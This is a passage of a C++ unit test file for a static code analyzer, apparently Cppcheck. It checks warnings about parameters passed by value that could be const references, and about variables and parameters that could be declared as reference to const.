(pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n 